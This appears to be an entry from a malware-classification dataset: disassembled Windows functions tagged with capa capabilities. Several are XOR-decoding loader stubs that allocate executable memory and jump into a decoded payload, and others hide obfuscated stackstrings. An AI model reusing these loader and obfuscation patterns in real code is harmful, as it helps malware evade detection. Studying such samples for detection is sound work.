joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10003ece
pop dword [ebp - 0xc]
mov eax, 0x10003ece
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x18c6e6ff
sub dword [ebp - 0x1c], 0xca74a1b4
mov dword [ebp - 0x18], 0xe231768f
sub dword [ebp - 0x18], 0xaffe2a4a
mov dword [ebp - 0x14], 0xa1513031
add dword [ebp - 0x14], 0xaafb13fd
mov dword [ebp - 0x10], 0x2c6ec1fa
sub dword [ebp - 0x10], 0x2c6ec1fa
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xf8f836f3
sub eax, 0xe8f7e6af
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x2758853d
sub dword [ebp - 0x1c], 0xb2e61be7
mov dword [ebp - 0x18], 0x57c7ffe7
add dword [ebp - 0x18], 0xe9a4618e
mov dword [ebp - 0x14], 0x59d5d5a9
add dword [ebp - 0x14], 0x99996c3
mov dword [ebp - 0x10], 0xbf6f6907
add dword [ebp - 0x10], 0x409096f9
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x37fba
push 0
call eax
mov ecx, 0x4d66
xor edi, edi
add edi, eax
mov esi, 0xbad0ff63
add esi, 0x552fb69d
add esi, dword [ebp - 0xc]
mov ebx, 0x5b177e21
add ebx, 0xe751093b
add dword [ebp - 4], 0x8841f561
mov edx, dword [esi]
xor dword [ebp - 4], 0xe6e00e64
add edx, ebx
xor dword [ebp - 4], eax
mov dword [edi], edx
mov dword [ebp - 8], 0x4a847ede
add edi, 0x1561a73c
sub edi, 0x1561a738
add esi, 0x1a4c6461
sub esi, 0x1a4c645d
loop 0x10003fe2
add eax, 0x1286b
xor ebx, ebx
add ebx, eax
add eax, 0xa33da1b0
sub eax, 0xa33da1ab
mov ecx, 0xf66b4eec
add ecx, 0x1994b114
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1000567b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x1001ae0c
call fcn.1001a6e0
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x100056f8
push 2
push esi
push ebx
call dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x100056f8
call fcn.10003dca
mov esi, eax
jmp 0x100057fe
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.kernel32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000571b
call fcn.10003dca
jmp 0x100057f1
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10005711
push ebx
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x1000574e
mov esi, 0x8007000e
jmp 0x100057f3
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x1000582c
jb 0x10005769
cmp eax, 0xffffffff
ja 0x1000582c
cmp eax, 0x400
jbe 0x1000577e
push eax
lea ecx, [ebp - 0x418]
call fcn.10007b1c
jmp 0x100057a0
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x100057a0
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10005744
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10005711
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x430]
push dword [ebp - 0x418]
call fcn.10007b1c
mov esi, eax
test edi, edi
je 0x100057fe
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x10005817
lea ecx, [ebp - 0x418]
call fcn.10003d92
lea ecx, [ebp - 0x428]
call fcn.10004436
mov eax, esi
call fcn.1001a631
ret 0x10
push 0x80070216
call fcn.10007b1c
int3
Function at 0x10005e6b
Capabilities:
Create thread

Disassembly:
push 8
mov eax, 0x1001aed0
call fcn.1001a63e
mov ebx, edx
mov edi, ecx
mov dword [ebp - 0x10], edi
push 0x20
call fcn.10007b1c
mov esi, eax
pop ecx
test esi, esi
je 0x10005eab
and dword [esi + 4], 0
lea ecx, [esi + 8]
mov edi, ecx
xor eax, eax
push ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
and dword [esi + 0x18], 0
mov edi, dword [ebp - 0x10]
jmp 0x10005ead
xor esi, esi
mov dword [ebp - 0x10], esi
and dword [ebp - 4], 0
test esi, esi
jne 0x10005ec2
mov ebx, 0x8007000e
jmp 0x10005fa1
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
mov dword [esi], edi
test edi, edi
je 0x10005f1b
test ebx, ebx
je 0x10005f9c
cmp dword [ebp + 8], 0
jne 0x10005f9c
push ebx
mov ebx, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
call ebx
mov edi, eax
mov eax, dword [esi + 4]
cmp edi, eax
je 0x10005f15
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
test edi, edi
je 0x10005f0f
push edi
call ebx
mov dword [esi + 4], eax
test eax, eax
je 0x10005fe5
jmp 0x10005f37
and dword [esi + 4], 0
xor eax, eax
test eax, eax
jne 0x10005f37
jmp 0x10005eb8
test ebx, ebx
jne 0x10005f9c
cmp dword [ebp + 8], ebx
je 0x10005f9c
push dword [ebp + 8]
lea eax, [esi + 8]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantChangeType]
mov ebx, eax
test ebx, ebx
js 0x10005fa1
lea ecx, [esi + 0x18]
call fcn.10007b1c
mov ebx, eax
test ebx, ebx
js 0x10005fa1
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10005fef
mov eax, dword [ecx]
push ecx
call dword [eax + 0xbc]
lea eax, [ebp - 0x14]
push eax
push 0
push esi
push 0x10006064
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov edi, eax
test edi, edi
jne 0x10005f8b
call dword [sym.imp.kernel32.dll_GetLastError]
movzx ebx, ax
or ebx, 0x80070000
test eax, eax
cmovle ebx, eax
jmp 0x10005f8f
xor esi, esi
xor ebx, ebx
test edi, edi
je 0x10005fa1
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x10005fa1
mov ebx, 0x80070057
or dword [ebp - 4], 0xffffffff
test esi, esi
je 0x10005fdb
mov dword [ebp - 4], 8
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x10005fc1
and dword [esi + 0x18], 0
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
lea ecx, [esi + 8]
push ecx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push dword [esi + 4]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push esi
call fcn.10007b1c
pop ecx
mov eax, ebx
call fcn.1001a60f
ret 4
push 0x8007000e
call fcn.10007b1c
push 0
push 0x152139a
call fcn.10007b1c
int3
Function at 0x10007b1c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10007b2b
pop dword [ebp - 0x1c]
mov eax, 0x10007b2b
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2a6be8b2
add dword [ebp - 0x2c], 0x23e65c99
mov dword [ebp - 0x28], 0xcfcfb3ef
add dword [ebp - 0x28], 0x62639856
mov dword [ebp - 0x24], 0x114358bf
sub dword [ebp - 0x24], 0xc4f71491
mov dword [ebp - 0x20], 0x5e157cf
add dword [ebp - 0x20], 0xfa1ea831
lea eax, [ebp - 0x2c]
push eax
mov eax, 0x83eef45
add eax, 0x7c2d1a7
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0x833eba23
add dword [ebp - 0x2c], 0xf133af33
mov dword [ebp - 0x28], 0x1a433e9f
sub dword [ebp - 0x28], 0xd8d6dd2a
mov dword [ebp - 0x24], 0xcc2c81c2
sub dword [ebp - 0x24], 0x68bd1556
mov dword [ebp - 0x20], 0x7fc7f11b
sub dword [ebp - 0x20], 0x7fc7f11b
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x80d87864
add eax, 0x8f2947e4
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d923
push 0
call eax
mov ecx, 0x2ef6e594
add ecx, 0xd1096a10
mov edi, eax
mov ebx, 0xcd4dfff3
sub ebx, 0xbd4b65f3
add ebx, dword [ebp - 0x1c]
mov edx, 0x1aa2c7d1
add edx, 0xf40fd4de
sub dword [ebp - 0x14], edx
mov esi, dword [ebx]
xor esi, edx
sub dword [ebp - 0xc], edi
mov dword [edi], esi
sub dword [ebp - 0x10], ebx
add edi, 0x664e6669
add edi, 0x99b1999b
add ebx, 4
loop 0x10007c48
add eax, 0xdec2fdc7
add eax, 0x213e339c
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x49ccfa
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x3a0]
sub esp, 0x420
mov eax, dword [0x4e6324]
push edi
xor edi, edi
cmp dword [ebp + 0x3b0], edi
mov dword [ebp + 0x39c], eax
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
jne 0x49cd2b
xor eax, eax
jmp 0x49ceb4
mov eax, dword [ebp + 0x3a8]
push ebx
mov ebx, dword [ebp + 0x3a8]
and eax, 0x1f
sar ebx, 5
push esi
lea esi, [eax + eax*8]
lea ebx, [ebx*4 + 0x5164c0]
mov eax, dword [ebx]
shl esi, 2
test byte [eax + esi + 4], 0x20
je 0x49cd67
push 2
push edi
push edi
push dword [ebp + 0x3a8]
call fcn.004a5733
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x49ce42
cmp dword [ebp + 0x3b0], edi
mov eax, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x6c], edi
jbe 0x49ce80
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp + 0x3ac]
lea eax, [ebp - 0x68]
mov dword [ebp - 0x70], edi
cmp ecx, dword [ebp + 0x3b0]
jae 0x49cdcb
mov edx, dword [ebp - 0x74]
inc dword [ebp - 0x74]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x49cdbc
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc dword [ebp - 0x70]
mov byte [eax], dl
inc eax
inc dword [ebp - 0x70]
cmp dword [ebp - 0x70], 0x400
jl 0x49cd9c
mov edi, eax
lea eax, [ebp - 0x68]
sub edi, eax
push 0
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x68]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x49ce0b
mov eax, dword [ebp - 0x80]
add dword [ebp - 0x78], eax
cmp eax, edi
jl 0x49ce14
mov eax, dword [ebp - 0x74]
sub eax, dword [ebp + 0x3ac]
xor edi, edi
cmp eax, dword [ebp + 0x3b0]
jb 0x49cd8d
jmp 0x49ce16
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
xor edi, edi
mov eax, dword [ebp - 0x78]
cmp eax, edi
jne 0x49ceaf
cmp dword [ebp - 0x6c], edi
je 0x49ce80
push 5
pop esi
cmp dword [ebp - 0x6c], esi
jne 0x49ce75
call fcn.0049f6ab
mov dword [eax], 9
call fcn.0049f6b4
mov dword [eax], esi
jmp 0x49ceaa
push edi
lea ecx, [ebp - 0x80]
push ecx
push dword [ebp + 0x3b0]
push dword [ebp + 0x3ac]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x49ce6a
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x78], eax
jmp 0x49ce16
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x6c], eax
jmp 0x49ce16
push dword [ebp - 0x6c]
call fcn.0049f6bd
pop ecx
jmp 0x49ceaa
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x49ce98
mov eax, dword [ebp + 0x3ac]
cmp byte [eax], 0x1a
jne 0x49ce98
xor eax, eax
jmp 0x49ceb2
call fcn.0049f6ab
mov dword [eax], 0x1c
call fcn.0049f6b4
mov dword [eax], edi
or eax, 0xffffffff
jmp 0x49ceb2
sub eax, dword [ebp - 0x7c]
pop esi
pop ebx
mov ecx, dword [ebp + 0x39c]
pop edi
call fcn.004a364d
add ebp, 0x3a0
leave
ret
Function at 0x4071bb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x4071ca
pop dword [ebp - 0x1c]
mov eax, 0x4071ca
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0x2b5eadf0
sub dword [ebp - 0x2c], 0xdd0c68a5
mov dword [ebp - 0x28], 0xe8fc2201
add dword [ebp - 0x28], 0x49372a44
mov dword [ebp - 0x24], 0x904ed414
sub dword [ebp - 0x24], 0x44028fe6
mov dword [ebp - 0x20], 0x2addd2
sub dword [ebp - 0x20], 0x2addd2
lea eax, [ebp - 0x2c]
push eax
mov eax, 0xae13d07c
add eax, 0x522e5ff8
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xf5b5016b
sub dword [ebp - 0x2c], 0x81429815
mov dword [ebp - 0x28], 0xdf507e84
add dword [ebp - 0x28], 0x621be2f1
mov dword [ebp - 0x24], 0x39263901
add dword [ebp - 0x24], 0x2a49336b
mov dword [ebp - 0x20], 0xaa57838d
sub dword [ebp - 0x20], 0xaa57838d
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x3e690
push 0
call eax
mov ecx, 0x989bc375
sub ecx, 0x989b792f
mov edi, eax
mov edx, 0x434400
add edx, dword [ebp - 0x1c]
mov esi, 0x46555c75
add dword [ebp - 8], esi
mov ebx, dword [edx]
xor dword [ebp - 0x14], 0xefcf3f3a
xor ebx, esi
xor dword [ebp - 0xc], 0x7a935d53
mov dword [edi], ebx
mov dword [ebp - 8], 0xe72201c1
add edi, 4
add edx, 0x74d5def4
add edx, 0x8b2a2110
loop 0x4072d6
add eax, 0x8f6402fd
sub eax, 0x8f62e712
mov ebx, eax
add eax, 0xf7fe88dc
sub eax, 0xf7fe88d7
mov ecx, 0x9b47b51f
sub ecx, 0x9b07b51f
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x4028d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d

Function at 0x402940
Capabilities:
Contain obfuscated stackstrings

Disassembly:
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00402080
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00402035
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
test dword [0x82fffffc], esp

Function at 0x4051d0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x405209
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.0040324c
jmp 0x405212
mov eax, ebx
mov edx, esi
call fcn.00403200
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406c00
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x406c8e
push dword fs:[eax]
mov dword fs:[eax], esp
test ebx, ebx
jne 0x406c4b
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
lea edx, [ebp - 0x108]
mov eax, esi
call fcn.0040324c
jmp 0x406c78
call sub.kernel32.dll_GetCommandLineA_1
cmp byte [eax], 0
jne 0x406c5f
lea eax, [ebp - 4]
call fcn.0040316c
jmp 0x406c6e
lea edx, [ebp - 4]
call fcn.00406ac4
test ebx, ebx
je 0x406c6e
dec ebx
jmp 0x406c50
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.00403200
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406c95
lea eax, [ebp - 4]
call fcn.0040316c
ret
Function at 0x410c70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x4025e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x70
call sub.MSVBVM60.DLL___vbaChkstk
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x14], 0x401f20
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov dword [ebp - 4], 2
push 0xffffffffffffffff
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 4], 3
call fcn.00404fd8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
lea eax, [ebp - 0x64]
push eax
push 0x28
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.00405038
mov dword [ebp - 0x70], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x70], 0
setne dl
neg edx
movsx eax, dx
test eax, eax
je 0x410e25
mov dword [ebp - 4], 4
xor ecx, ecx
test ecx, ecx
je 0x410d46
mov dword [ebp - 4], 6
mov dword [ebp - 0x6c], 0x1c
lea edx, [ebp - 0x6c]
push edx
lea eax, [ebp - 0x3c]
push eax
push 0x1c
lea ecx, [ebp - 0x60]
push ecx
push 0
mov edx, dword [ebp - 0x64]
push edx
call fcn.00405088
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
jmp 0x410e25
mov dword [ebp - 4], 9
lea eax, [ebp - 0x44]
push eax
push 0x404ae4
lea ecx, [ebp - 0x68]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaStrToAnsi]
push eax
push 0
call fcn.004050e8
mov dword [ebp - 0x6c], eax
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
xor edx, edx
cmp dword [ebp - 0x6c], 0
setne dl
neg edx
mov word [ebp - 0x74], dx
lea ecx, [ebp - 0x68]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
movsx eax, word [ebp - 0x74]
test eax, eax
je 0x410e25
mov dword [ebp - 4], 0xa
mov dword [ebp - 0x60], 1
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410dc3
mov dword [ebp - 0x8c], 0
jmp 0x410dcf
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x8c], eax
lea ecx, [ebp - 0x44]
push ecx
mov edx, dword [ebp - 0x74]
imul edx, edx, 0xc
lea eax, [ebp + edx - 0x5c]
push eax
push 8
call dword [sym.imp.MSVBVM60.DLL___vbaCopyBytes]
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x74], 0
cmp dword [ebp - 0x74], 2
jae 0x410e06
mov dword [ebp - 0x90], 0
jmp 0x410e12
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x74]
imul ecx, ecx, 0xc
mov dword [ebp + ecx - 0x54], 2
jmp 0x410d14
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x64]
push edx
call fcn.00404e50
call dword [sym.imp.MSVBVM60.DLL___vbaSetSystemError]
push 0x410e4d
jmp 0x410e4c
ret

Function at 0x77cc62
Capabilities:
Encode data using xor

Disassembly:
shl ebx, 0xd7
add ebx, esi
pop ebx
mov dword [0xe4712a0a], eax
fiadd dword [eax - 0x2e]
inc edx
push 0xffffffffffffffc2
xor byte [ecx - 0xe71a007], cl
dec ecx
sbb dword [ebp - 0x27], edi
wait
rcr byte [ebx + 0x55], 0x89
in eax, 0x9d
je 0x77cc43
outsb dx, byte [esi]
ror byte [esi + 0x1406598b], 1
dec ecx
shr byte [edx - 0x5a], 0xb4
das
jmp 0xf585fed7
Function at 0x40140b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jbe 0x401428
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x401422
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x401413
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004011ce
sub esi, dword [ebp + 0x458da911]
test al, 0x50
call fcn.004011de
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.00401193
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x4014bc
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004011ce
salc
ret 0x1d59
Function at 0x4068c1
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x4068e5
xor eax, eax
test eax, eax
je 0x4068f8
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x4068f8
xor ecx, ecx
jmp 0x4068fb
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4
Function at 0x404298
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
mov eax, dword [0x42600c]
xor eax, esp
mov dword [esp + 0x258], eax
push esi
mov esi, ecx
test esi, esi
jne 0x4042bd
push 0xd
jmp 0x404312
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404310
push 0x250
lea eax, [esp + 0xc]
push 0
push eax
call fcn.004094e0
add esp, 0xc
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x404310
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push ecx
xor edx, edx
mov ecx, esi
call fcn.00403c3e
neg eax
pop ecx
sbb eax, eax
and eax, 0xfffffc12
add eax, 0x3ee
jmp 0x404313
push 2
pop eax
mov ecx, dword [esp + 0x25c]
pop esi
xor ecx, esp
call fcn.0040787a
mov esp, ebp
pop ebp
ret